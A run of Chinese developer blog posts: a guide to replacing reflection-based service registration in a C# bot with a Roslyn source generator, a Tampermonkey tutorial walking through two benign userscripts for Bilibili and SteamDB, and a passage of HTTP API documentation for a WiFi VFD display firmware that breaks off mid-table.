前言 完整项目地址: https://github.com/chr233/XinjingdailyBot 因为项目之前是使用运行时反射来完成服务的动态注册，而源生成器是在编译前完成代码生成并参与编译，完全没有运行时的性能开销 运行时反射 - 旧的方案 标记特性 首先创建一个 Attribute, 用来标注需要扫描的服务类 namespace XinjingdailyBot.Infrastructure.Attribute; /// /// 标记服务 /// 1、如果服务是本身 直接在类上使用[AppService] /// 2、如果服务是接口 在类上使用 [AppService(ServiceType = typeof(实现接口))] /// [AttributeUsage(AttributeTargets.Class, Inherited = false)] public sealed class AppServiceAttribute : System.Attribute { /// /// 服务声明周期 /// 不给默认值的话注册的是AddSingleton /// public LifeTime ServiceLifetime { get; set; } = LifeTime.Scoped; /// /// 指定服务类型 /// public Type? ServiceType { get; set; } /// /// 是否可以从第一个接口获取服务类型 /// public bool InterfaceServiceType { get; set; } /// /// 标记服务 /// /// public AppServiceAttribute(LifeTime serviceLifetime) { ServiceLifetime = serviceLifetime; } /// /// 标记服务 /// /// /// public AppServiceAttribute(Type? serviceType, LifeTime serviceLifetime) { ServiceLifetime = serviceLifetime; ServiceType = serviceType; } /// /// 标记服务 /// /// /// /// public AppServiceAttribute(Type? serviceType, LifeTime serviceLifetime, bool interfaceServiceType) { ServiceLifetime = serviceLifetime; ServiceType = serviceType; InterfaceServiceType = interfaceServiceType; } } /// /// 生命周期 /// public enum LifeTime { /// /// 瞬时 /// Transient, /// /// 范围 /// Scoped, /// /// 单例 /// Singleton } 基于反射的服务扫描器 然后再主项目启动的时候使用反射扫描添加了该 Attribute 的所有 Class 并注册服务 using System.Diagnostics.CodeAnalysis; using System.Reflection; using XinjingdailyBot.Infrastructure.Attribute; namespace XinjingdailyBot.WebAPI.Extensions; /// /// 动态注册服务扩展 /// public static class AppServiceExtensions { private static readonly NLog.Logger _logger = NLog.LogManager.GetCurrentClassLogger(); /// /// 注册引用程序域中所有有AppService标记的类的服务 /// /// [RequiresUnreferencedCode("不兼容剪裁")] public static void AddAppService(this IServiceCollection services) { var cls = new string[] { "XinjingdailyBot.Repository", "XinjingdailyBot.Service", "XinjingdailyBot.Command", "XinjingdailyBot.WebAPI", }; foreach (var item in cls) { var assembly = Assembly.Load(item); Register(services, assembly); } } /// /// 动态注册服务 /// /// /// [RequiresUnreferencedCode("不兼容剪裁")] private static void Register(IServiceCollection services, Assembly assembly) { string? name = assembly.GetName().Name; _logger.Debug($"===== 注册 {name} 中的服务 ====="); uint count = 0; foreach (var type in assembly.GetTypes()) { var serviceAttribute = type.GetCustomAttribute<AppServiceAttribute>(); if (serviceAttribute != null) { count++; var serviceType = serviceAttribute.ServiceType; //情况1 适用于依赖抽象编程，注意这里只获取第一个 if (serviceType == null && serviceAttribute.InterfaceServiceType) { serviceType = type.GetInterfaces().FirstOrDefault(); } //情况2 不常见特殊情况下才会指定ServiceType，写起来麻烦 if (serviceType == null) { serviceType = type; } var lifetime = serviceAttribute.ServiceLifetime; switch (lifetime) { case LifeTime.Singleton: services.AddSingleton(serviceType, type); break; case LifeTime.Scoped: services.AddScoped(serviceType, type); break; case LifeTime.Transient: services.AddTransient(serviceType, type); break; default: services.AddTransient(serviceType, type); break; } _logger.Debug($"{lifetime} - {serviceType}"); } } _logger.Debug($"===== 注册了 {count} 个服务 ====="); } } 也不是不能用，就是感觉不够完美，而且因为使用了反射的相关特性，无法简单地启用程序集裁剪和应用 AOT，所有就想到利用 .Net 5.0 新加入的源生成器特性来实现相同的功能，避免使用反射特性和降低运行时的额外开销 源生成器 - 新的方案 源生成器官方文档 因为我的项目是按照命名空间分成了几个子项目，而源生成器只能分析当前项目的语法树，如果用文件 IO 的方式读取本地 .cs 文件也是可以实现的，但是会显示警告，因为官方并不推荐在源生成器中使用文件 IO，这会降低编译速度，而且服务类也不是经常新增，每次编译都扫描一遍也是完全没必要的 综上，我的解决方案是写一个 Powershell 脚本来扫描解决方案中的所有服务，并保存到一个文件中，然后在源生成器中读取该文件来生成服务注册的代码 服务扫描脚本 首先是服务扫描脚本 scan_service.ps1 # # @Author : Chr_ # @Date : 2024-01-18 14:25:15 # @LastEditors : Chr_ # @LastEditTime : 2024-01-18 20:15:18 # @Description : 生成依赖服务信息 # # 工作目录 $workDir = (Get-Location).Path; $outputPath = Join-Path -Path (Join-Path -Path $workDir -ChildPath "XinjingdailyBot.WebAPI") -ChildPath "Properties"; # 包名列表 $libNames = "XinjingdailyBot.Model", "XinjingdailyBot.Repository", "XinjingdailyBot.Interface", "XinjingdailyBot.Service", "XinjingdailyBot.Tasks", "XinjingdailyBot.Command"; # 输出路径 $appServicePath = Join-Path -Path $outputPath -ChildPath "appService.json"; # 扫描源文件列表 function GetSourceFileList { param ( [string]$Path ) $result = @(); # 去除 bin obj 目录 $dirs = Get-ChildItem -Path $Path -Directory -Exclude "bin", "obj" # 遍历所有 .cs 文件 foreach ($dir in $dirs) { $files = Get-ChildItem -Path $dir -Filter "*.cs" -File -Recurse # 遍历子目录文件 foreach ($file in $files) { $result += $file } } $files = Get-ChildItem -Path $Path -Filter "*.cs" -File # 遍历所有 .cs 文件 foreach ($file in $files) { $result += $file } Write-Output $result $result; } # 读取命名空间 function GetNamespace { param ( [string] $Content ) if ($Content -match "namespace\s+([^;{]+)") { $Matches[1]; } } # 读取类名/接口名 function GetClassName { param ( [string] $Content ) if ($Content -match "(?:class|interface|record)\s+([^({:\s]+)") { $Matches[1]; } } # 扫描AppServiceAttribute function ScanAppServiceAttribute { param ( [string] $Content ) if ($Content -match "\[AppService(?:Attribute)?\(([^\]]+)\)\]") { $result = @{} $arguments = $Matches[1].Split(","); foreach ($argument in $arguments) { if ($argument -match "LifeTime\.(Singleton|Transient|Scoped)") { $result["LifeTime"] = $Matches[1]; } elseif ($argument -match "typeof\(([^()]+)\)") { $result["Interface"] = $Matches[1]; } elseif ($argument -match "true|false") { $result["AutoInterface"] = $Matches[1]; } else { Write-Output $argument; } } $result; } } # 类全名表 $clsNamespaces = @{}; $appServiceAttributes = @{}; foreach ($libName in $libNames) { # 库文件路径 $libPath = Join-Path -Path $workDir -ChildPath $libName; # 获取所有源文件路径 $filePaths = GetSourceFileList -Path $libPath; # 读取Service信息和类命名空间; foreach ($filePath in $filePaths) { $fileContent = Get-Content -Path $filePath.FullName -Raw; $namespace = GetNameSpace -Content $fileContent; if ($null -eq $namespace -or $namespace -eq "" ) { continue; } $clsName = GetClassName -Content $fileContent; if ($null -eq $namespace -or $namespace -eq "" ) { continue; } $clsNamespaces[$clsName] = $namespace; $appService = ScanAppServiceAttribute -Content $fileContent; if ($null -ne $appService) { $appServiceAttributes[$clsName] = $appService; } } } $services = $appServiceAttributes.Clone(); # 生成服务信息 foreach ($service in $services.Keys) { $serviceInfo = $appServiceAttributes[$service]; $namespace = $clsNamespaces[$service]; $serviceInfo["Class"] = "$namespace.$service"; $interface = $serviceInfo["Interface"]; if ($null -ne $interface) { $ns = $clsNamespaces[$interface]; $serviceInfo["Interface"] = "$ns.$interface"; } $appServiceAttributes[$service] = $serviceInfo; } Write-Output "扫描到 $($appServiceAttributes.Count) 个服务"; $appServiceAttributes | ConvertTo-Json | Out-File -FilePath $appServicePath Write-Output "文件保存至 $appServicePath" 这个脚本的功能是遍历定义的子项目文件，然后扫描所有类和接口，以及所有带有 AppServiceAttribute 特性的服务类，最后生成一个 appService.json 运行脚本生成文件以后记得修改文件生成操作，不然在分析器里这个文件是不可见的 创建源生成器 跟创建类库一样，但是需要编辑 .csproj 文件，完整文件如下 <Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <TargetFramework>netstandard2.0</TargetFramework> <EnforceExtendedAnalyzerRules>true</EnforceExtendedAnalyzerRules> <IsRoslynComponent>true</IsRoslynComponent> <GetTargetPathDependsOn>$(GetTargetPathDependsOn);GetDependencyTargetPaths</GetTargetPathDependsOn> <NoWarn>CS1570;CS1587</NoWarn> </PropertyGroup> <ItemGroup> <None Include="..\.editorconfig" Link=".editorconfig" /> </ItemGroup> <ItemGroup> <PackageReference Include="Microsoft.CodeAnalysis.Analyzers"> <PrivateAssets>all</PrivateAssets> <IncludeAssets>runtime; build; native; contentfiles; analyzers; buildtransitive</IncludeAssets> </PackageReference> <PackageReference Include="Microsoft.CodeAnalysis.Common"> <PrivateAssets>all</PrivateAssets> </PackageReference> <PackageReference Include="Microsoft.CodeAnalysis.CSharp"> <PrivateAssets>all</PrivateAssets> </PackageReference> <PackageReference Include="Newtonsoft.Json"> <GeneratePathProperty>true</GeneratePathProperty> <PrivateAssets>all</PrivateAssets> </PackageReference> </ItemGroup> <ItemGroup> <Compile Update="Templates.Designer.cs"> <DesignTime>True</DesignTime> <AutoGen>True</AutoGen> <DependentUpon>Templates.resx</DependentUpon> </Compile> </ItemGroup> <ItemGroup> <EmbeddedResource Update="Templates.resx"> <Generator>ResXFileCodeGenerator</Generator> <LastGenOutput>Templates.Designer.cs</LastGenOutput> </EmbeddedResource> </ItemGroup> <ItemGroup> <None Include="$(OutputPath)\$(AssemblyName).dll" Pack="true" PackagePath="analyzers/dotnet/cs" Visible="false" /> </ItemGroup> <Target Name="GetDependencyTargetPaths"> <ItemGroup> <TargetPathWithTargetPlatformMoniker Include="$(PKGNewtonsoft_Json)\lib\netstandard2.0\Newtonsoft.Json.dll" IncludeRuntimeDependency="false" /> </ItemGroup> </Target> </Project> 我所做的修改如下 将目标框架改为 netstandard2.0，目前源生成器必须用该版本 添加 EnforceExtendedAnalyzerRules 和 IsRoslynComponent 项，第一个是排除别的分析器，第二个是定义该项目是 Roslyn 组件，添加了以后会有额外的调试配置 添加 GetTargetPathDependsOn 项，意思是从定义的路径中寻找依赖库 添加 Microsoft.CodeAnalysis.Analyzers 和 Microsoft.CodeAnalysis.Common 和 Microsoft.CodeAnalysis.CSharp 库，原样从微软文档拷来的，生成器必须的依赖 添加 Newtonsoft.Json 库（可选），我使用了 Newtonsoft.Json 作为 Json 反序列化库，因此还需要额外配置引用信息（因为源生成器相当于是编译期的扩展，如果不做额外处理会报找不到Dll的错），需要在下面定义 <ItemGroup> <None Include="$(OutputPath)\$(AssemblyName).dll" Pack="true" PackagePath="analyzers/dotnet/cs" Visible="false" /> </ItemGroup> <Target Name="GetDependencyTargetPaths"> <ItemGroup> <TargetPathWithTargetPlatformMoniker Include="$(PKGNewtonsoft_Json)\lib\netstandard2.0\Newtonsoft.Json.dll" IncludeRuntimeDependency="false" /> </ItemGroup> </Target> 然后再主项目中添加项目引用，并修改引用的属性，将被引用项目类型改成分析器，然后排除所有的生成资产 </ItemGroup> <ProjectReference Include="..\XinjingdailyBot.Generator\XinjingdailyBot.Generator.csproj"> <OutputItemType>Analyzer</OutputItemType> <ReferenceOutputAssembly>false</ReferenceOutputAssembly> </ProjectReference> </ItemGroup> 服务注册源生成器 代码模板存放在 Templates.resx 中，内容如图 可以根据输出的结果反推 using Microsoft.CodeAnalysis; using Microsoft.CodeAnalysis.Text; using Newtonsoft.Json; using System.Text; using XinjingdailyBot.Generator.Data; namespace XinjingdailyBot.Generator; [Generator] internal sealed class AppServiceGenerator : ISourceGenerator { const string InputFileName = "appService.json"; const string OutoutFileName = "GeneratedAppServiceExtensions.g.cs"; /// <inheritdoc/> public void Initialize(GeneratorInitializationContext context) { // 无需处理 } /// <inheritdoc/> public void Execute(GeneratorExecutionContext context) { try { var fileText = context.AdditionalFiles.Where(static x => x.Path.EndsWith(InputFileName)).FirstOrDefault() ?? throw new FileNotFoundException("缺少配置文件, 请使用 scan_service.ps1 生成"); ProcessSettingsFile(fileText, context); } catch (Exception e) { context.ReportDiagnostic( Diagnostic.Create( "XJB_01", nameof(AppServiceGenerator), $"生成注入代码失败，{e.Message}", defaultSeverity: DiagnosticSeverity.Error, severity: DiagnosticSeverity.Error, isEnabledByDefault: true, warningLevel: 0)); } } /// /// 生成文件 /// /// /// private void ProcessSettingsFile(AdditionalText xmlFile, GeneratorExecutionContext context) { var text = xmlFile.GetText(context.CancellationToken)?.ToString() ?? throw new FileLoadException("文件读取失败"); var json = JsonConvert.DeserializeObject<AppServiceData>(text) ?? throw new FileLoadException("文件读取失败"); var sb = new StringBuilder(); sb.AppendLine(Templates.AppServiceHeader); foreach (var kv in json) { var entry = kv.Value; var lifeTime = entry.LifeTime?.ToLowerInvariant() switch { "singleton" or "scoped" or "transient" => entry.LifeTime, _ => null, }; if (string.IsNullOrEmpty(lifeTime)) { continue; } if (!string.IsNullOrEmpty(entry.Class)) { if (string.IsNullOrEmpty(entry.Interface)) { sb.AppendLine(string.Format(Templates.AppServiceContent1, lifeTime, entry.Class)); } else { sb.AppendLine(string.Format(Templates.AppServiceContent2, lifeTime, entry.Interface, entry.Class)); } } } sb.AppendLine(Templates.AppServiceFooter); context.AddSource(OutoutFileName, SourceText.From(sb.ToString(), Encoding.UTF8)); } } 生成的代码示例，为避免使用 using，这里使用完整类名引用 using Microsoft.Extensions.DependencyInjection; namespace XinjingdailyBot.WebAPI.Extensions; /// /// 动态注册服务扩展 /// public static class GeneratedAppServiceExtensions { private static readonly NLog.Logger _logger = NLog.LogManager.GetCurrentClassLogger(); /// /// 注册引用程序域中所有有AppService标记的类的服务 /// /// public static void AddAppServiceGenerated(this IServiceCollection services) { services.AddTransient<XinjingdailyBot.Repository.OldPostRepository>(); services.AddScoped<XinjingdailyBot.Interface.Bot.Common.IDispatcherService, XinjingdailyBot.Service.Bot.Common.DispatcherService>(); services.AddSingleton<XinjingdailyBot.Repository.TagRepository>(); services.AddSingleton<XinjingdailyBot.Interface.Bot.Common.IChannelService, XinjingdailyBot.Service.Bot.Common.ChannelService>(); services.AddTransient<XinjingdailyBot.Interface.Data.IAttachmentService, XinjingdailyBot.Service.Data.AttachmentService>(); services.AddScoped<XinjingdailyBot.Command.ReviewCommand>(); services.AddScoped<XinjingdailyBot.Interface.Bot.Handler.IJoinRequestHandler, XinjingdailyBot.Service.Bot.Handler.JoinRequestHandler>(); services.AddTransient<XinjingdailyBot.Interface.Data.IBanRecordService, XinjingdailyBot.Service.Data.BanRecordService>(); services.AddSingleton<XinjingdailyBot.Repository.RejectReasonRepository>(); services.AddScoped<XinjingdailyBot.Interface.Bot.Common.IUpdateService, XinjingdailyBot.Service.Bot.Common.UpdateService>(); services.AddSingleton<XinjingdailyBot.Interface.Bot.Handler.IForwardMessageHandler, XinjingdailyBot.Service.Bot.Handler.ForwardMessageHandler>(); services.AddScoped<XinjingdailyBot.Command.CommonCommand>(); services.AddSingleton<XinjingdailyBot.Repository.LevelRepository>(); services.AddSingleton<XinjingdailyBot.Interface.Bot.Handler.ICommandHandler, XinjingdailyBot.Service.Bot.Handler.CommandHandler>(); services.AddTransient<XinjingdailyBot.Interface.Data.IDialogueService, XinjingdailyBot.Service.Data.DialogueService>(); services.AddSingleton<XinjingdailyBot.Interface.Data.IPostService, XinjingdailyBot.Service.Data.PostService>(); services.AddTransient<XinjingdailyBot.Interface.Data.IChannelOptionService, XinjingdailyBot.Service.Data.ChannelOptionService>(); services.AddSingleton<XinjingdailyBot.Interface.Bot.Handler.IChannelPostHandler, XinjingdailyBot.Service.Bot.Handler.ChannelPostHandler>(); services.AddSingleton<XinjingdailyBot.Interface.Data.IUserService, XinjingdailyBot.Service.Data.UserService>(); services.AddTransient<XinjingdailyBot.Interface.Helper.IImageHelperService, XinjingdailyBot.Service.Helper.ImageHelperService>(); services.AddSingleton<XinjingdailyBot.Interface.Data.INameHistoryService, XinjingdailyBot.Service.Data.NameHistoryService>(); services.AddScoped<XinjingdailyBot.Command.NormalCommand>(); services.AddSingleton<XinjingdailyBot.Interface.Data.IMediaGroupService, XinjingdailyBot.Service.Data.MediaGroupService>(); services.AddScoped<XinjingdailyBot.Command.ObsoleteCommand>(); services.AddScoped<XinjingdailyBot.Command.PostCommand>(); services.AddTransient<XinjingdailyBot.Interface.Data.IAdvertisePostService, XinjingdailyBot.Service.Data.AdvertisePostsService>(); services.AddTransient<XinjingdailyBot.Interface.Data.IAdvertiseService, XinjingdailyBot.Service.Data.AdvertiseService>(); services.AddSingleton<XinjingdailyBot.Repository.GroupRepository>(); services.AddTransient<XinjingdailyBot.Interface.Helper.IHttpHelperService, XinjingdailyBot.Service.Helper.HttpHelperService>(); services.AddTransient<XinjingdailyBot.Interface.Helper.ITextHelperService, XinjingdailyBot.Service.Helper.TextHelperService>(); services.AddSingleton<XinjingdailyBot.Interface.Bot.Handler.IMessageHandler, XinjingdailyBot.Service.Bot.Handler.MessageHandler>(); services.AddTransient<XinjingdailyBot.Interface.Data.ICmdRecordService, XinjingdailyBot.Service.Data.CmdRecordService>(); services.AddSingleton<XinjingdailyBot.Interface.Bot.Handler.IInlineQueryHandler, XinjingdailyBot.Service.Bot.Handler.InlineQueryHandler>(); services.AddTransient<XinjingdailyBot.Repository.PostRepository>(); services.AddSingleton<XinjingdailyBot.Interface.Data.IUserTokenService, XinjingdailyBot.Service.Data.UserTokenService>(); services.AddTransient<XinjingdailyBot.Interface.Helper.IMarkupHelperService, XinjingdailyBot.Service.Helper.MarkupHelperService>(); services.AddScoped<XinjingdailyBot.Command.AdminCommand>(); services.AddScoped<XinjingdailyBot.Command.SuperCommand>(); services.AddTransient<XinjingdailyBot.Interface.Data.IReviewStatusService, XinjingdailyBot.Service.Data.ReviewStatusService>(); services.AddSingleton<XinjingdailyBot.Interface.Bot.Handler.IGroupMessageHandler, XinjingdailyBot.Service.Bot.Handler.GroupMessageHandler>(); } } 调试源生成器 首先删除源生成器项目的所有调试目标，然后新增 Roslyn Component 目标，并在右边将 Target Project 设为主项目，然后将启动项目改为生成器 然后在生成器的 Initialize 方法中开启调试器 public void Initialize(GeneratorInitializationContext context) { // 无需处理 if (!Debugger.IsAttached) { Debugger.Launch(); } } 这样就可以动态调试生成器代码了 实际使用 将启动项目改为主功能，去掉源生成器的调试代码，然后重新生成一遍解决方案，如果一切正常，将会在分析器中看到生成的代码文件 如果后续有新的服务，重新执行 scan_service.ps1 即可更新配置文件
【油猴脚本教程】P2 初识油猴脚本 & 油猴脚本的基本构成
P2 初识油猴脚本 教程索引 视频链接 光讲JS感觉不是特别直观，用两个不涉及网络请求的脚本进行讲解 第一个脚本 - Remove Live.js 脚本链接： https://github.com/chr233/GM_Scripts/blob/master/Bilibili/Remove_Live.js 脚本功能： 提供一个开关，用于移除直播播放器，并且带有记忆功能 源码： // ==UserScript== // @name Remove_Live // @name:zh-CN 去除B站直播间播放器 // @namespace https://blog.chrxw.com // @version 1.1 // @description 去除B站多余的直播播放器（滑稽） // @author Chr_ // @include https://live.bilibili.com/* // @license AGPL-3.0 // @icon https://blog.chrxw.com/favicon.ico // ==/UserScript== (() => { "use strict"; //去除播放器的开关 let VEnable = localStorage.getItem("VEnable") === "true"; if (VEnable) { setTimeout(() => { document.getElementById("live-player").remove(); }, 3000); } let btnArea = document.querySelector(".right-ctnr"); let btn = document.createElement("button"); btn.textContent = VEnable ? "恢复播放器" : "移除播放器"; btn.addEventListener("click", () => { VEnable = !VEnable; localStorage.setItem("VEnable", VEnable); btn.textContent = VEnable ? "恢复播放器" : "移除播放器"; if (VEnable) { document.getElementById("live-player").remove(); } else { location.reload(); } }); btnArea.insertBefore(btn, btnArea.children[0]); })(); 第二个脚本 - SteamDB CN.js 脚本链接： https://github.com/chr233/GM_Scripts/blob/master/SteamDB/SteamDB_CN.js 脚本功能： 汉化SteamDB 源码： // ==UserScript== // @name:zh-CN SteamDB汉化 // @name SteamDB_CN // @namespace https://blog.chrxw.com // @supportURL https://blog.chrxw.com/scripts.html // @contributionURL https://afdian.net/@chr233 // @version 1.32 // @description SteamDB汉化插件 // @description:zh-cn SteamDB汉化插件 // @author Chr_ // @match https://steamdb.info/* // @license AGPL-3.0 // @icon https://blog.chrxw.com/favicon.ico // @resource data https://cf.chrxw.com/SteamDB/SteamDB_CN.json // @grant GM_addStyle // @grant GM_getResourceText // @grant GM_registerMenuCommand // ==/UserScript== (() => { "use strict"; //是否打开调试模式（使用自定义汉化规则而不是在线规则） const DEBUG = localStorage["dbg_mode"] == "开"; //是否在控制台输出未汉化文本 const OUTPUT = localStorage["out_word"] == "开"; GM_registerMenuCommand(`调试汉化文本: 【${DEBUG ? "开" : "关"}】`, () => { window.localStorage["dbg_mode"] = DEBUG ? "关" : "开"; window.location.reload(); }); GM_registerMenuCommand(`在控制台输出未匹配文本: 【${OUTPUT ? "开" : "关"}】`, () => { window.localStorage["out_word"] = OUTPUT ? "关" : "开"; window.location.reload(); }); document.querySelector("html").setAttribute("lang", "zh-CN"); let Locales; if (DEBUG) { const template = `{"DOC":{"更新时间":"调试模式","贡献名单":["调试模式"]},\n"STATIC":\n{\n\n},\n"INPUT":\n{\n\n},\n"LABEL":\n{\n\n},\n"DYNAMIC":\n{\n\n}\n}`; const box = document.createElement("div"); box.className = "sdc"; const text = document.createElement("textarea"); box.appendChild(text); const action = document.createElement("div"); action.className = "sdc-links"; box.appendChild(action); const btnSave = document.createElement("a"); btnSave.innerText = "💾 保存并应用"; btnSave.addEventListener("click", () => { const raw = text.value.trim(); if (!raw) { alert("翻译文本不能为空!!!"); } else { try { JSON.parse(raw); window.localStorage["sdb_lang"] = raw; window.location.reload(); } catch (e) { alert("翻译文本不是有效的JSON格式!!!"); } } }); action.appendChild(btnSave); const btnReset = document.createElement("a"); btnReset.textContent = "🗑️ 清空文本"; btnReset.addEventListener("click", () => { window.localStorage["sdb_lang"] = template; window.location.reload(); }); action.appendChild(btnReset); const btnOnline = document.createElement("a"); btnOnline.textContent = "📄 当前在线文本"; btnOnline.addEventListener("click", () => { if (confirm("替换为在线版本后当前所做修改将会丢失, 确定要继续吗?")) { text.value = GM_getResourceText("data"); } }); action.appendChild(btnOnline); const about = document.createElement('a'); about.href = "https://blog.chrxw.com" about.innerText = "🔗 By Chr_ © 2022"; action.appendChild(about); const father = document.getElementById("main"); father.insertBefore(box, father.firstChild); const customLang = window.localStorage["sdb_lang"] ?? template; text.value = customLang; Locales = JSON.parse(customLang); } else { Locales = JSON.parse(GM_getResourceText("data")); } //计时 const Start = new Date().getTime(); {//静态元素 for (const [css, dic] of Object.entries(Locales.STATIC)) { if (OUTPUT) { console.log(`〖${css}〗`); } const elements = document.querySelectorAll(css); if (elements.length > 0) { for (let i = 0; i < elements.length; i++) { const element = elements[i]; if (element.childElementCount === 0) {//节点内部无其他元素 const raw = element.innerText?.trim(); if (!raw || raw.length <= 2) { continue; } const txt = dic[raw]; if (txt) { element.innerText = txt; } else if (OUTPUT) { console.log(`"${raw}": "",`); } } else {//节点内部有其他元素 const nodes = element.childNodes; for (let j = 0; j < nodes.length; j++) { const node = nodes[j]; if (node.nodeType === Node.TEXT_NODE) { const raw = node.textContent?.trim(); if (!raw || raw.length <= 2) { continue; } const txt = dic[raw]; if (txt) { node.textContent = txt; } else if (OUTPUT) { console.log(`"${raw}": "",`); } } } } } } else { if (OUTPUT) { console.warn(`CSS选择器未匹配到任何元素: ${css}`); } } } } {//输入框 const inputs = Locales.INPUT; if (OUTPUT) { console.log("〖输入框〗"); } const elements = document.querySelectorAll("input"); for (let i = 0; i < elements.length; i++) { const element = elements[i]; const raw = element.placeholder; if (!raw) { continue; } const txt = inputs[raw]; if (txt) { element.placeholder = txt; } else if (OUTPUT) { console.log(`"${raw}": "",`); } } } {//悬浮提示 const labels = Locales.LABEL; if (OUTPUT) { console.log("〖提示文本〗"); } const elements = document.querySelectorAll("*[aria-label]"); for (let i = 0; i < elements.length; i++) { const element = elements[i]; const raw = element.getAttribute("aria-label"); if (!raw) { continue; } const txt = labels[raw]; if (txt) { element.setAttribute("aria-label", txt); } else if (OUTPUT) { console.log(`"${raw}": "",`); } } } const { script: { version } } = GM_info; //const version = GM_info.script.version; const { DOC: { "更新时间": update, "贡献名单": contribution } } = Locales; const End = new Date().getTime(); // 统计耗时 console.log("执行耗时", `${End - Start} ms`); console.log("================================="); console.log(`插件版本: ${version}`); console.log(`更新时间: ${update}`); console.log(`贡献名单: ${contribution.join(", ")}`); console.log("================================="); console.log("迷茫同学:\n『没有恶意 请问直接用谷歌翻译整个网页不香吗』") // 添加按钮 const headerUl=document.querySelector(".header-menu-container>div>ul:nth-child(1)"); const footerUl=document.querySelector(".footer-container>div>ul:nth-child(1)"); const scriptLink = document.createElement("li"); scriptLink.innerHTML = `SteamDB 汉化 V${version}`; headerUl.appendChild(scriptLink); footerUl.appendChild(scriptLink.cloneNode(true)); // 添加样式 GM_addStyle(` .tabnav-tabs > a { min-width: 80px; } .sdc { display: flex; } .sdc > textarea { width: 100%; height: 200px; min-height: 200px; resize: vertical; } .sdc > div.sdc-links { width: 150px; margin: 5px; } .sdc > div.sdc-links > a { width: 100%; margin-bottom: 10px; background-color: #213145; color: white; font-size: 12px; border-radius: 0px; display: inline-block; height: 30px; } .sdc > div.sdc-links > a:last-child { width: 100%; margin-top: 30px; margin-bottom: 0px; color: #67c1f5; background-color: #273b4b; } `); })(); 油猴脚本基本构成 元信息 记录脚本的额外信息，供油猴插件以及 GreasyFork 使用 // ==UserScript== // @name:zh-CN 脚本名称(可选，可以使用语言代码来支持多语言) // @name 脚本名称 // @namespace 命名空间 // @version 脚本版本 // @description 脚本描述 // @description:zh-cn 脚本描述(可选，可以使用语言代码来支持多语言) // @author 作者 // @include 脚本生效域名 // @match 脚本生效域名 // @license 共享协议 // @icon 脚本图标(可选) // @resource 外部资源链接，以及访问名称(可选) // @grant 申请额外权限(可选) // ==/UserScript== 脚本正文 略
前言 项目演示: BV1Sy4y1u7s8 固件源码: WiFi_VFD 配置工具源码: WiFi_VFD_tools 默认连接密码为CHR233，AP模式热点名为WIFI_VFD_xxxxxx，AP密码为CHRXWCHRXW 注意事项 API请求方法不限，推荐使用GET方法，只接受位于Params的参数 未给定的参数均视为 【“”】或【0】 文档性API 所有文档性API均不需要身份验证 / 说明 返回在线文档地址 请求参数 无需参数 返回值示例 online doc: https://blog.chrxw.com/archives/1970/01/01/1569.html /version 说明 返回固件版本号和编译日期 请求参数 无需参数 返回值示例 Firmware version: 1.7.0 Build date: May 7 2021 23:59:18 /test 说明 固定返回 success , 用于检查固件是否正常 请求参数 无需参数 返回值示例 success 功能性API 所有功能性API均需要提供一个名为【k】的连接密码参数，如果密码错误则返回【403】错误 如果设备的连接密码为空，代表不需要身份验证，传入任意的【k】或者不传入【k】都能通过身份验证 设备重启后会自动从闪存读取上一次保存的设置 为了降低闪存的读写损耗，默认不会将修改的设置写入闪存，如果需要保存此次设置，可以传入名为【f】的任意非空值作为参数 例如 http://....../set/mode?m=1&f=1 所有功能性API如果调用成功均返回 success, 后文均省略返回值 功能性API - 通用 /set/mode 说明 设置当前模式 参数 参数名 意义 取值范围 说明 默认值 k 连接密码 文本 用于身份验证 "" m 模式代码 1-3 【1】:时钟模式, 2:文字模式, 3: 进度条模式 必须 f 写入闪存 布尔 【""/0】:不写入闪存，其他值:写入闪存 0 /set/wifi 说明 设置WiFi连接，无需【f】参数 如果测试连接成功会自动写入闪存并自动重启 如果测试连接失败则会使用上一次的设置 参数 |参数名|意义|取值范围|说明|默认值| |-|-|-| |k|连接密码|文本|用于身份验证|""| |s|WiFi SSID|文本|WiFi的名称|必须| |p|WiFi 密码|文本|WiFi的密码|必须| /set/password 说明 设置设备的连接密码，默认连接密码为【CHR233】，无需【f】参数 参数 |参数名|意义|取值范围|说明|默认值| |-|-|-| |k|连接密码|文本|用于身份验证|""| |kn|新的连接密码|文本|要设置的连接密码|""| /set/bright 说明 设置显示屏亮度 参数 参数名 意义 取值范围 说明 默认值 k 连接密码 文本 用于身份验证 "" b 显示屏亮度 0-255 显示屏亮度，0:完全关闭显示屏，255:最高亮度 0 f 写入闪存 布尔 【""/0】:不写入闪存，其他值:写入闪存 0 /set/reboot 说明 重启设备 参数 |参数名|意义|取值范围|说明|默认值| |-|-|-| |k|连接密码|文本|用于身份验证|""| /set/reset 说明 格式化内置闪存，清除所有设置 参数 |参数名|意义|取值范围|说明|默认值| |-|-|-| |k|连接密码|文本|用于身份验证|""| 功能性API - 模式1 - 时钟模式 调用该模式的API后, 会自动切换到模式2, 但是对模式的修改不会写入闪存 /set/time/config 说明 设置时钟的样式 参数 参数名 意义 取值范围 说明 默认值 k 连接密码 文本 用于身份验证 "" h 24小时 布尔 【""/0】:12小时制, 其他值:24小时制 "" a 显示上下午 布尔 【""/0】:不显示AM/PM, 其他值:显示AM/PM "" w 显示星期 布尔 【""/0】:不显示星期, 其他值:显示星期 "" f 写入闪存 布尔 【""/0】:不写入闪存，其他值:写入闪存 0 功能性API - 模式2 - 文字模式 调用该模式的API后, 会自动切换到模式2, 但是对模式的修改不会写入闪存 /set/text/icon 说明 控制显示屏上面一排的图标显示 参数【i】当做二进制数处理，从低到高分别对应从左到右的12个图标, 1代表点亮, 0代表熄灭 参数 参数名 意义 取值范围 说明 默认值 k 连接密码 文本 用于身份验证 "" i 0-4095 整数 从高到低的12个二进制位代表从左到右12个图标的亮灭状态 0 f 写入闪存 布尔 【""/0】:不写入闪存，其他值:写入闪存 0 /set/text/spare 说明 单独控制显示屏下面一排某一位显示的内容, 显示的字符由VFD屏内置的字库决定, 传入的参数为要显示的字符编码 字库兼容ASCII编码, 非ASCII编码的区域存放了一些特殊符号, 这些特殊符号只能通过此API显示出来 未指定的位置 参数 参数名 意义 取值范围 说明 默认值 k 连接密码 文本 用于身份验证 "" 1 第1位 0-255 【0】:无动作, 其他数值:修改第1位的字符编码 0 2 第2位 0-255 【0】:无动作, 其他数值:修改第2位的字符编码 0 3 第3位 0-255 【0】:无动作, 其他数值:修改第3位的字符编码 0 x 第x位 0-255 【0】:无动作, 其他数值:修改第x位的字符编码 0 10 第10位 0-255 【0】:无动作, 其他数值:修改第10位的字符编码 0 11 第11位 0-255 【0】:无动作, 其他数值:修改第11位的字符编码 0 12 第12位 0-255 